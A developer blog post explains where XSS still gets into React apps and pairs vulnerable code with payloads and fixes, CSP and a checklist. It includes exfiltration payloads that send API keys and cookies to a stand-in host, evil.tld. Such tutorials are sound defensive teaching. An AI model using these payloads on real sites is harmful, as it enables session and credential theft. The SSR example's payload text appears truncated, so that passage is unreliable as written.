There's a comforting myth that goes around React teams: "React escapes everything, so we don't have to worry about XSS." It's half true, which is exactly what makes it dangerous. React does escape the values you interpolate into JSX, and that handles the most common case automatically. But React also ships several escape hatches, integrates with third-party libraries that don't share its guarantees, and runs in server-rendered setups where the auto-escaping assumption quietly stops holding.
Cross-site scripting (CWE-79) has been on the OWASP Top 10 for its entire existence, and it survived into the 2025 edition folded under Injection. It didn't survive because developers are careless. It survived because frameworks moved the vulnerability from "obvious" to "hidden in the seams." This post walks through the seams that matter in React, with vulnerable code, the payload that breaks it, and the fix for each.
How React's auto-escaping actually works
React escapes string values rendered as JSX children. When you write {userInput}, React treats the result as text, not markup, so a value like <img src=x onerror=alert(1)> renders as literal characters on the page instead of executing.
function Comment({ text }) {
// Safe: text is escaped, tags render as visible characters
return <p>{text}</p>;
}
This covers a large share of real-world rendering, and it's why React apps aren't riddled with reflected XSS the way older template stacks were. The problem is that this guarantee has a precise boundary. The moment you step outside "a string rendered as a JSX child," you're on your own. Everything below is a place where teams step outside it, usually without noticing.
dangerouslySetInnerHTML: the honest escape hatch
React named this prop honestly. If you pass a string to dangerouslySetInnerHTML, React injects it as raw HTML with zero escaping.
jsx
function Article({ html }) {
// Vulnerable if `html` contains any untrusted input
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
If html is <img src=x onerror="fetch('/api/keys').then(r=>r.text()).then(k=>navigator.sendBeacon('https://evil.tld',k))">, that script runs in your user's session the moment the component mounts.
The fix is to sanitize before rendering, and the right tool is DOMPurify. But sanitizing correctly matters more than sanitizing at all:
jsx
import DOMPurify from "dompurify";
function Article({ html }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ["p", "b", "i", "em", "strong", "a", "ul", "ol", "li"],
ALLOWED_ATTR: ["href"],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Two things people get wrong here. First, sanitize the value, not a value you already interpolated somewhere else, and do it as close to render as possible so nothing mutates it in between. Second, resist the urge to loosen the allowlist "just to make one thing work." Every tag and attribute you add back is attack surface. If a product manager needs embedded videos, allow a specific iframe with a strict ALLOWED_ATTR and host allowlist, not the whole tag namespace.
One subtle trap: DOMPurify sanitizes HTML, not URLs inside otherwise-allowed attributes in every configuration. If you allow href, you still want to confirm the protocol, which brings us to the next case.
javascript: URLs in href and src
React does not stop you from putting a javascript: URL in an anchor. If a user controls a link target, they control script execution.
jsx
function Profile({ website }) {
// Vulnerable: website could be "javascript:stealSession()"
return <a href={website}>My site</a>;
}
A payload of javascript:fetch('https://evil.tld/'+document.cookie) executes on click. React 16.9 added a warning for this pattern, but a warning is not a defense, and it doesn't cover every sink. Validate the protocol explicitly:
jsx
function safeUrl(url) {
try {
const parsed = new URL(url, window.location.origin);
// Allowlist protocols; reject javascript:, data:, vbscript:
return ["http:", "https:", "mailto:"].includes(parsed.protocol)
? parsed.href
: "#";
} catch {
return "#";
}
}
function Profile({ website }) {
return <a href={safeUrl(website)}>My site</a>;
}
Parsing with the URL constructor beats regex here because it normalizes away the tricks attackers use to sneak past naive string checks, things like leading whitespace, mixed case (JaVaScRiPt:), and embedded control characters. Apply the same validation anywhere a user-controlled value lands in src, formAction, or xlink:href.
User input in style, iframe, and event-handler props
Attributes beyond href carry their own risks. A user-controlled style string, an iframe whose src you don't validate, or any prop that ends up as an event handler are all live sinks.
React blocks string values for style (it expects an object), which helps, but CSS-based data exfiltration and clickjacking via untrusted iframe sources are still real. Treat an iframe src exactly like an anchor href:
jsx
function Embed({ src }) {
const parsed = (() => {
try {
return new URL(src);
} catch {
return null;
}
})();
const allowedHosts = ["www.youtube.com", "player.vimeo.com"];
if (!parsed || !allowedHosts.includes(parsed.host)) return null;
return <iframe src={parsed.href} sandbox="allow-scripts allow-same-origin" title="embed" />;
}
The sandbox attribute is your seatbelt here. Grant the narrowest set of permissions the embed actually needs, and never reflexively combine allow-scripts with allow-same-origin for content you don't fully trust, because together they let the frame remove its own sandbox.
SSR hydration: the injection point people forget
Server-side rendering reintroduces a classic vulnerability that client-only React developers rarely think about. When you serialize state into the HTML document so the client can hydrate, you're writing data directly into markup, and JSX escaping is nowhere near it.
jsx
// Vulnerable SSR pattern
function renderPage(state) {
return `
<script>
window.__STATE__ = ${JSON.stringify(state)};
</script>
`;
}
JSON.stringify is not HTML-safe. If state contains the string alert(document.domain), the browser sees a closed script tag and a brand new one. The serialized JSON breaks out of its container and the injected script runs with full page privileges.
The fix is to escape the characters that are dangerous inside a script context before they reach the page:
jsx
function safeSerialize(state) {
return JSON.stringify(state)
.replace(/</g, "\\u003c")
.replace(/>/g, "\\u003e")
.replace(/&/g, "\\u0026")
.replace(/\u2028/g, "\\u2028")
.replace(/\u2029/g, "\\u2029");
}
function renderPage(state) {
return `<script>window.__STATE__ = ${safeSerialize(state)};</script>`;
}
Escaping < alone stops the </script> breakout. The &, U+2028, and U+2029 replacements guard against JSON-in-HTML edge cases and legacy JavaScript parsers. Libraries like serialize-javascript do exactly this, and reaching for one is smarter than hand-rolling the regex in every SSR entry point.
Markdown renderers and rich-text libraries
The most common way XSS enters a modern React app isn't your code at all. It's a dependency you trusted to render user content. Markdown editors, comment systems, and WYSIWYG components frequently emit raw HTML by design, and some pass it straight through.
jsx
import { marked } from "marked";
function Markdown({ source }) {
// Vulnerable: marked can emit raw HTML from markdown
return <div dangerouslySetInnerHTML={{ __html: marked(source) }} />;
}
Markdown allows inline HTML, so <img src=x onerror=alert(1)> in the source passes through to the output. The rule is simple: sanitize the rendered output of any HTML-producing library before it hits the DOM, treating that library as untrusted no matter how popular it is.
jsx
import { marked } from "marked";
import DOMPurify from "dompurify";
function Markdown({ source }) {
const html = DOMPurify.sanitize(marked(source));
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
Audit your dependencies for this pattern. A library being widely used tells you it's popular, not that it sanitizes, and those are unrelated properties.
Direct DOM access through refs
Refs let you reach past React into the raw DOM, and the raw DOM has all the unsafe sinks React normally hides from you.
jsx
function Widget({ content }) {
const ref = useRef(null);
useEffect(() => {
// Vulnerable: innerHTML is a raw DOM sink, no escaping
ref.current.innerHTML = content;
}, [content]);
return <div ref={ref} />;
}
Assigning untrusted input to innerHTML, outerHTML, or via insertAdjacentHTML is XSS whether or not React is involved. If you need to insert text, use textContent. If you genuinely need HTML, sanitize with DOMPurify first, the same as you would for dangerouslySetInnerHTML. Better still, ask whether you need the ref at all, since most cases have a declarative equivalent that stays inside React's safe path.
Defense in depth beyond the component layer
Fixing sinks one by one is necessary but not sufficient, because you will eventually miss one. A Content Security Policy is the backstop that limits the damage when a payload slips through.
The catch for React apps is that a naive CSP with script-src 'unsafe-inline' provides almost no XSS protection, and inline scripts are common in React setups, especially with SSR state injection. A nonce-based policy is the version that actually helps:
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
Generate a fresh random nonce per response, attach it to the scripts you legitimately emit (including your SSR state script), and the browser refuses any injected inline script that lacks the nonce. strict-dynamic lets your trusted scripts load the bundles they need without you maintaining a host allowlist.
For teams that want to go further, Trusted Types shifts the model from "sanitize at every sink" to "the browser refuses to accept a raw string at a dangerous sink at all." It forces DOM sink assignments to go through a policy that returns a typed, vetted value, which turns a whole class of XSS bugs into loud runtime errors during development instead of silent vulnerabilities in production.
Why code review alone misses these
Read back through the examples and notice where the bugs live. Almost none of them are in the obvious, front-and-center rendering code that a reviewer scans first. They're in the SSR serialization boundary, in a markdown dependency three levels down, in a ref inside a useEffect, in a URL that looked fine until someone typed javascript: into it.
That's the real reason XSS persists in React. The framework moved the vulnerability out of the code reviewers instinctively check and into the seams between systems: the client-server boundary, the app-dependency boundary, the React-DOM boundary. Static analysis helps, but it struggles at exactly these seams, because the dangerous value often arrives as untyped data at runtime and the sink is buried inside a library. Catching these reliably means testing the running application with real payloads against real inputs, not just reading the source. Grepping for dangerouslySetInnerHTML finds one class of bug and gives false confidence about the rest.
XSS prevention checklist for React
- Let JSX escaping do its job. Render untrusted values as
{value}children whenever possible and avoid reaching for escape hatches out of convenience. - Sanitize every
dangerouslySetInnerHTMLvalue with DOMPurify, using the tightest tag and attribute allowlist the feature can tolerate. - Validate protocols on every user-controlled
href,src,iframesource, andformActionusing theURLconstructor, not regex. - Escape state serialized into SSR HTML, replacing
<,>,&, and the line/paragraph separators, or use a library built for it. - Treat every HTML-emitting dependency (markdown, WYSIWYG, sanitizers you didn't configure) as untrusted and sanitize its output.
- Never assign untrusted input to
innerHTML,outerHTML, orinsertAdjacentHTMLthrough refs. UsetextContent, or sanitize first. - Deploy a nonce-based CSP with
strict-dynamicand dropunsafe-inline. Consider Trusted Types for a stronger guarantee. - Test the running app with real XSS payloads. Reading the diff is not the same as exercising the sink.
Conclusion
React's auto-escaping is a genuinely good default, and it's exactly good enough to lull a team into thinking XSS is solved. It isn't. It's relocated, into the escape hatches, the dependencies, and the server-rendering boundary where the auto-escaping guarantee no longer applies. Every fix above follows the same logic: know precisely where React protects you, treat everything past that line as untrusted, and validate at the sink. Get that reflex right and you close the seams that attackers actually walk through.
Top comments (0)